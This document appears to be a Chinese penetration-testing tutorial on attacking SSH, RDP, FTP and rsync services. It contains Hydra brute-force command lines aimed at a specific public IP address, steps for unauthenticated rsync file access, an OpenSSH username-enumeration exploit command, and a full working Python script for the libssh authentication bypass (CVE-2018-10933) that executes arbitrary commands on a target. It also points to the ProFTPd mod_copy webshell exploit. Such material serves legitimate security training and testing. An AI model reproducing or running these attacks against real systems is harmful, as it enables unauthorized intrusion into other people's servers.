目录
测试思路
(一)口令猜解——SSH&RDP&FTP
Demo:
(二)配置不当-未授权访问-Rsync 文件备份
尝试读取src文件
(三)协议漏洞-应用软件-FTP&Proftpd 搭建
(四)协议漏洞-应用软件-SSH&libssh&Openssh
4.1 openSSL 心脏滴血漏洞
4.2 OpenSSH命令注入漏洞通告(CVE-2020-15778)
4.3 OpenSSH 用户名枚举漏洞(CVE-2018-15473)
4.4 libssh 认证绕过漏洞(CVE-2018-10933)
测试思路
- 判断服务开放情况-端口扫描&组合应用等
- 判断服务类型归属-数据库&文件传输&通讯等
- 判断服务利用方式-特定漏洞&未授权&弱口令等
(一)口令猜解——SSH&RDP&FTP
提到爆破,首先要用到Hydra,它是一个自动化的爆破工具,暴力破解弱密码,是一个支持众多协议的爆破工具,已经集成到 Kali Linux 中,直接在终端打开即可
- -s PORT 可通过这个参数指定非默认端口。
- -l LOGIN 指定破解的用户,对特定用户破解。
- -L FILE 指定用户名字典。
- -p PASS 小写,指定密码破解,少用,一般是采用密码字典。
- -P FILE 大写,指定密码字典。
- -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
- -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数。
- -M FILE 指定目标列表文件一行一条。
- -o FILE 指定结果输出文件。
- -f 在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解。
- -t TASKS 同时运行的线程数,默认为 16。
- -w TIME 设置最大超时的时间,单位秒,默认是 30s。
- -v / -V 显示详细过程。
- server 目标 ip
service 指定服务名,支持的服务和协议: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp 等等
Demo:
- FTP——21:文件传输协议
- RDP——3389:Windows 远程桌面协议
- SSH——22:Linux 安全外壳协议
hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V
(二)配置不当-未授权访问-Rsync 文件备份
rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、 ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。
环境启动后,我们用rsync命令访问之:
rsync rsync://your-ip:873/
如果有图 2-1 回显,证明有未授权访问:
尝试读取src文件
- 其他利用思路和Redis未授权访问一致,这里不再赘述
GitHub - wgpsec/fofa_viewer: 一个简单实用的FOFA客户端 By flashine
把自己的个人信息填上即可扫描,还有要有balance,怎么弄懂的都懂。
(三)协议漏洞-应用软件-FTP&Proftpd 搭建
这先理清思路,如果我们在进行渗透测试的过程中有开放21是端口,可以尝试通过Hydra进行爆破,还有一个思路就是就看它FTP是用什么平台搭建的,例如使用Proftpd搭建的话,就可以利用Proftpd获取权限。
GitHub - t0kx/exploit-CVE-2015-3306: ProFTPd 1.3.5 - (mod_copy) Remote Command Execution exploit and vulnerable container
具体利用过程在上面写的很清楚,我们可以从源码中得知payload
可以看到通过参数cmd写入webShell,这里博主只提供思路,漏洞产生原理不再介绍。
(四)协议漏洞-应用软件-SSH&libssh&Openssh
4.1 openSSL 心脏滴血漏洞
OpenSSL心脏滴血漏洞(CVE-2014-0160)_bye_X的博客-CSDN博客_cve-2014-0160
危害当年比较大,现在用的少,不再具体展开。
4.2 OpenSSH命令注入漏洞通告(CVE-2020-15778)
这个漏洞要得到用户的uesrname和password,这个用户不能用SSH连接到服务器,最后反弹回来的shell也是已知用户权限,相对比较鸡助
OpenSSH 命令注入漏洞(CVE-2020-15778) - FreeBuf网络安全行业门户
OpenSSH命令注入漏洞通告(CVE-2020-15778) - FreeBuf网络安全行业门户
4.3 OpenSSH 用户名枚举漏洞(CVE-2018-15473)
OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中,可以当做信息收集。
漏洞复现
使用CVE-2018-15473-Exploit,枚举字典中的用户名:
python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip
4.4 libssh 认证绕过漏洞(CVE-2018-10933)
libssh 是一个在客户端和服务器端实现 SSHv2 协议的多平台 C 库。在 libssh 的服务器端状态机中发现了一个逻辑漏洞。攻击者可以
MSG_USERAUTH_SUCCESS
在认证成功之前发送消息。这样就可以绕过认证,访问目标SSH服务器
EXP:
参考https://www.seebug.org/vuldb/ssvid-97614中给出的POC ,我们可以使用如下脚本来证明该漏洞:
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
您可以在目标服务器上执行任意命令,如下所示: